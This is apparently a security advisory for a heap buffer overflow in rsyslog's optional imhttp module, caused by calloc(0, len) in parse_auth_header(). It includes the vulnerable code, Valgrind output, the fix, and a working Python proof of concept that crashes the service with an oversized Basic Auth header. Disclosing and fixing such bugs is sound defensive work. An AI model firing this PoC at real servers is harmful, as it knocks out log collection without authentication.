GHSA-947w-69ph-mc2r
CVE Information
Summary
Heap buffer overflow in the optional
imhttp moduleallows an unauthenticated remote attacker to crash rsyslog ifimhttpis installed and activated with a single HTTP request. The bug is inparse_auth_header()which callscalloc(0, len)(introduced in commita8b8d6c) and then writes the full decoded Authorization header into that zero-length allocation. Default rsyslog installations that do not load the imhttp module are not affected. This usually requires installing the necessary package and configuring rsyslog to actually useimhttp.The rsyslog team does not know of any distribution where imhttp is active by default.
Affected Configurations
This vulnerability affects rsyslog deployments that meet all of the following conditions: - The rsyslog build includes the optional contrib/imhttp module - The imhttp module is installed on the system in question - The imhttp module is explicitly loaded in the rsyslog configuration - HTTP Basic Authentication is configured for an imhttp endpoint
Downstream packaging varies, imhttp may not be shipped at all, packaged separately, or present but not loaded. Users should verify whether imhttp is both installed and explicitly loaded in their configuration.
Details
contrib/imhttp/imhttp.cparse_auth_header():line 705:const char *src = auth_header + 6; size_t len = apr_base64_decode_len((const char *)src); auth->pworkbuf = auth->workbuf; if (len > sizeof(auth->workbuf)) { auth->pworkbuf = calloc(0, len); // BUG: allocates 0 bytes, should be calloc(1, len) auth->workbuf_len = len; } // ... len = apr_base64_decode(auth->pworkbuf, src); // writes up to len bytes into 0-byte allocationlen is derived from the attacker-supplied Base64 credential in the Authorization: Basic header.
calloc(0, n)returns a non-NULL pointer to a zero-length allocation under glibc. Theapr_base64_decodecall then writes the full decoded output past the end of that allocation into adjacent heap memory.The overflow fires before any credential validation so authentication is not required.
PoC
rsyslog config with imhttp enabled:
Python poc:module(load="imhttp" ports="8080" documentroot="/tmp/rsyslog-docroot") input(type="imhttp" endpoint="/logs" ruleset="r" basicauthfile="/tmp/htpasswd") ruleset(name="r") { action(type="omfile" file="/tmp/out.log") }import base64, socket, sys host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 payload = b"A" * 10000 + b":" + b"x" b64 = base64.b64encode(payload).decode() req = f"POST /logs HTTP/1.1\r\nHost: {host}\r\nAuthorization: Basic {b64}\r\nContent-Length: 4\r\nConnection: close\r\n\r\ntest" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) s.sendall(req.encode()) print(s.recv(512).decode(errors="replace").split("\r\n")[0]) s.close()Valgrind Output
Tested on rsyslog 8.2604.0 / Ubuntu 24.04 / glibc 2.39 with
valgrind --tool=memcheck --error-exitcode=1: ``` Invalid write of size 1 at 0x...: apr_base64_decode_binary (libaprutil-1.so.0.6.3) by 0x...: apr_base64_decode (libaprutil-1.so.0.6.3) by 0x...: parse_auth_header (imhttp.c:708) by 0x...: authorize (imhttp.c:775) by 0x...: basicAuthHandler (imhttp.c:809)Address 0x60bae60 is 0 bytes after a block of size 0 alloc'd at 0x...: calloc (vg_replace_malloc.c) by 0x...: parse_auth_header (imhttp.c:705)
valgrind: m_mallocfree.c:304 Assertion 'bszB_lo == bszB_hi' failed. ```
Impact
On affected configurations, a remote unauthenticated attacker can send a single crafted HTTP request to an imhttp Basic Auth endpoint and crash the rsyslog process, stopping all log collection. The demonstrated impact is process availability (denial of service). Code execution has not been demonstrated.
Fix
One character change:
This is the minimal fix suitable for downstream backports to affected older trees. Upstream addressed this through broader imhttp parser and authentication hardening that removed the unsafe dynamic Basic Auth buffer entirely.- auth->pworkbuf = calloc(0, len); + auth->pworkbuf = calloc(1, len);